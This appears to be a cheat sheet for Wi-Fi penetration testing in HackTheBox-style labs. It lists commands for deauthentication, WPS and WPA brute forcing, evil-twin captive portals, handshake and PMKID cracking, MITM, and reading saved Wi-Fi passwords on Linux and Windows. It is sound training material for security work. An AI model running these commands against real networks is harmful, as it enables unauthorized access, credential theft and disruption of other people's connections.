

WI-FI PENETRATION TESTING TOOLS AND TECHNIQUES CHEAT SHEET

Reconnaissance

Command	Description
<code>sudo airmon-ng</code>	List wireless interfaces, chipsets, drivers and versions
<code>sudo airmon-ng start wlan0</code>	Enable monitor mode
<code>sudo airmon-ng stop wlan0mon</code>	Disable monitor mode
<code>sudo ifconfig wlan0 down</code>	Shut down a network interface
<code>sudo iw dev wlan0 add mon0 type monitor</code>	Create a new wireless interface, set to monitor mode
<code>sudo ifconfig wlan0 up</code>	Bring the interface back online
<code>sudo iw dev wlan0 set type managed</code>	Switch the interface back to managed mode
<code>sudo aireplay-ng --test wlan0mon</code>	Test for packet injection capabilities
<code>sudo aireplay-ng --deauth 10 -a <AP_MAC> -c <CLIENT_MAC> wlan0mon</code>	Send deauthentication frames
<code>sudo iw dev wlan0 set channel 1</code>	Set a specific channel on the network interface

Command	Description
<code>sudo airodump-ng wlan0mon</code>	Scan all channels and display detected networks and clients
<code>sudo airodump-ng --bssid D8:D3:2D:EB:29:D6 -c 1 wlan0mon</code>	Scan a specific BSSID and channel
<code>sudo airodump-ng --wps --manufacturer wlan0mon</code>	Scan and show additional details: manufacturer and WPS PIN
<code>sudo systemctl stop gpsd</code> <code>sudo systemctl stop gpsd.socket</code> <code>sudo systemctl stop system-gpsdctl.slice</code>	Stop the GPSD service
<code>sudo gpsd /dev/ttyUSB0</code>	Launch a USB-based GPS device
<code>gpsmon</code>	Display real-time GPS data
<code>socat -d -d pty,raw,echo=0 pty,raw,echo=0</code>	Create two linked pseudo terminals
<code>sudo gpsd /dev/pts/6</code>	Start a virtual GPS receiver
<code>sudo sed -i 's DEVICES="/dev/pts/[0-9]*" DEVICES="/dev/pts/6" ' /etc/default/gpsd</code>	Configure GPSD to use the virtual device
<code>sudo gpsmon /dev/pts/6</code>	Display GPS data of a specific device
<code>sudo kismet -c wlan0mon</code>	Launch the kismet WebUI while capturing on wlan0mon
<code>sudo kismetdb_statistics --in Kismet-yyyyymmdd-xx-xx-xx-1.kismet</code>	View kismet session statistics
<code>sudo kismetdb_dump_devices --ekjson --in Kismet-yyyyymmdd-xx-xx-xx-1.kismet --out alldevices.json</code>	Convert kismet log to JSON
<code>sudo kismetdb_to_kml --in Kismet-yyyyymmdd-xx-xx-xx-1.kismet --out geo.kml</code>	Convert kismet log to KML format
<code>airodump-ng wlan0mon -w scan-folder/scan</code>	Save the results of an airodump-ng scan to a specific directory

Command	Description
<code>python3 wifi_db.py scan-folder/scan-01</code>	Parse only the scan-01.* files found inside a directory
<code>python3 wifi_db.py -d database.sqlite scan-folder</code>	Parse all scan files inside a directory. Specify the name of the outputted SQLite database

Online Bruteforce

Command	Description
<code>python2 air-hammer.py -i wlan1 -e HTB-Corp -p /opt/rockyou.txt -u user.txt</code>	WPA2-Enterprise single username bruteforce
<code>python2 air-hammer.py -i wlan1 -e HTB-Corp -P 123456789 -u usernames.txt</code>	WPA2-Enterprise password spray
<code>python2 air-hammer.py -i wlan1 -e HTB-Corp -P 123456789 -u usernames.txt -s 5</code>	Resume interrupted session from line 5)
<code>reaver -i mon0 -b AE:EB:B0:11:A0:1E -c 1</code>	WPS PIN Bruteforce
<code>reaver -i mon0 -b B2:A5:1D:E1:B2:11 -c 1 -p 1234</code>	Partial WPS PIN Bruteforce
<code>reaver -b 5A:1A:59:B7:E7:97 -c 1 -i mon0 -p " "</code>	WPS Null PIN attack
<code>python3 WifiBF.py -s HackTheBox-PSK -w words.txt</code>	WPA/WPA2 online bruteforce
<code>python3 wacker.py --interface wlan1 --wordlist rockyou.txt --ssid <SSID> --freq 2412 --bssid <MAC></code>	WPA3-SAE online bruteforce
<code>bash split.sh 4 rockyou.txt</code>	Split wordlist into four segments

Evil Twin + Captive Portal

Command	Description
<code>./eaphammer -i wlan1 --channel 1 --auth wpa-psk --essid HTB-WPA</code>	Launch rogue AP with WPA-PSK auth type
<code>./eaphammer -i wlan0 --channel 1 --auth wpa-psk --essid HTB-WPA --captive-portal --lhost 192.168.1.1</code>	Launch rogue AP with captive portal
<code>./eaphammer -i wlan0 --auth owe --essid HTB-OWE --captive-portal</code>	Launch captive portal with OWE auth type
<code>./eaphammer --cert-wizard</code>	Create certificates for rogue AP
<code>./eaphammer --interface wlan1 --auth wpa-eap --essid HTB-Corp --creds</code>	Launch enterprise rogue AP
<code>sudo -E /opt/airgeddon/airgeddon.sh</code>	Launch Airgeddon
<code>sudo cp /home/wifi/custom-captive-portal/Regular/* /tmp/ag1/www/</code>	Replace Airgeddon default captive portal template
<code>sudo wifipumpkin3</code> <code>sudo wp3</code>	Launch WifiPumpkin3

Password Cracking

Command	Description
<code>aircrack-ng -S</code>	Benchmark CPU performance
<code>aircrack-ng -b D2:13:94:21:7F:1A HTB.ivs</code>	Crack WEP using PTW method
<code>aircrack-ng -K HTB.ivs</code>	Crack WEP using Korek method
<code>aircrack-ng -w /opt/wordlist.txt HTB.pcap</code>	Crack WPA/WPA2-PSK

Command	Description
<code>aircrack-ng --new-session current.session -w /opt/wordlist.txt,rockyou.txt HTB.cap</code>	Create session + crack with two wordlists
<code>aircrack-ng --restore-session current.session</code>	Restore a session
<code>cowpatty -c -r WPA-01.cap</code>	Validate a captured handshake
<code>cowpatty -r WPA-01.cap -f /opt/wordlist.txt -s HackTheBox</code>	Crack the 4-way handshake with dictionary file
<code>genpmk -f /opt/rockyou.txt -d /tmp/hashtable -s HackTheBox</code>	Generate Rainbow Table
<code>cowpatty -d /tmp/hashtable -r WPA-01.cap -s HackTheBox</code>	Crack the 4-way handshake with Rainbow Table
<code>pyrit list_cores</code>	Enumerate CPU cores
<code>pyrit benchmark</code>	Measure CPU performance
<code>pyrit -r capture.pcap -o handshakes.pcap strip</code>	Parse CAP file. Output handshake to PCAP file
<code>pyrit -r handshakes.pcap analyze</code>	Analyze packet capture
<code>pyrit -r handshakes.pcap -e '<ESSID>' -i /opt/wordlist.txt attack_passthrough</code>	WPA/WPA2-PSK direct bruteforce
<code>pyrit -e '<ESSID>' create_essid</code>	Add a target SSID prior to precomputing PMK hashes
<code>pyrit -i /opt/wordlist.txt import_passwords</code>	Load candidate password list
<code>pyrit batch</code>	Process the database if precomputed PMK hashes

Command	Description
<code>pyrit -r HTB-01.cap -e 'HackTheBox-WCD' attack_db</code>	WPA/WPA2-PSK bruteforce with precomputed hash database
<code>python3 capture_pmkid.py wlan0 "<ESSID>"</code>	Capture PMKID
<code>python3 pmkidcracker.py -s "<SSID>" -ap "<AP_MAC>" -c "<CLIENT_MAC>" -p "<PMKID_VALUE>" -w "/opt/wordlist.txt" -t 50</code>	Crack the PMKID
<code>hashcat -m 22000 pmkid.capture /opt/rockyou.txt</code>	Crack the PMKID hash

MITM + Miscellaneous

Command	Description
<code>sudo sysctl -w net.ipv4.ip_forward=1</code>	Enable IP forwarding
<code>sudo systemctl enable apache2</code> <code>sudo systemctl start apache2</code>	Start Apache HTTP server
<code>sudo bettercap -iface wlan0</code>	Launch Bettercap
<code>arp -a</code>	View ARP table
<code>ip route show grep "default via"</code>	View default gateway
<code>route -n</code>	Show routing table
<code>python3 /opt/routersploit/rsf.py</code>	Launch RouterSploit
<code>cat /etc/NetworkManager/system-connections/<SSID></code>	Retrieve Wifi credentials for SSID on Linux
<code>dir</code> <code>C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces</code>	List saved network interfaces on Windows

Command	Description
<code>dir C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\ {GUID}</code>	List save Wifi profiles on Windows
<code>type C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\ {GUID}</code>	Read saved Wifi profile and retrieve Wifi credentials on Windows
<code>netsh wlan show profile</code>	List saved Wifi profiles on Windows
<code>etsh wlan show profile HTB-Internal key=clear</code>	View stored credentials of HTB- Internal Wifi profile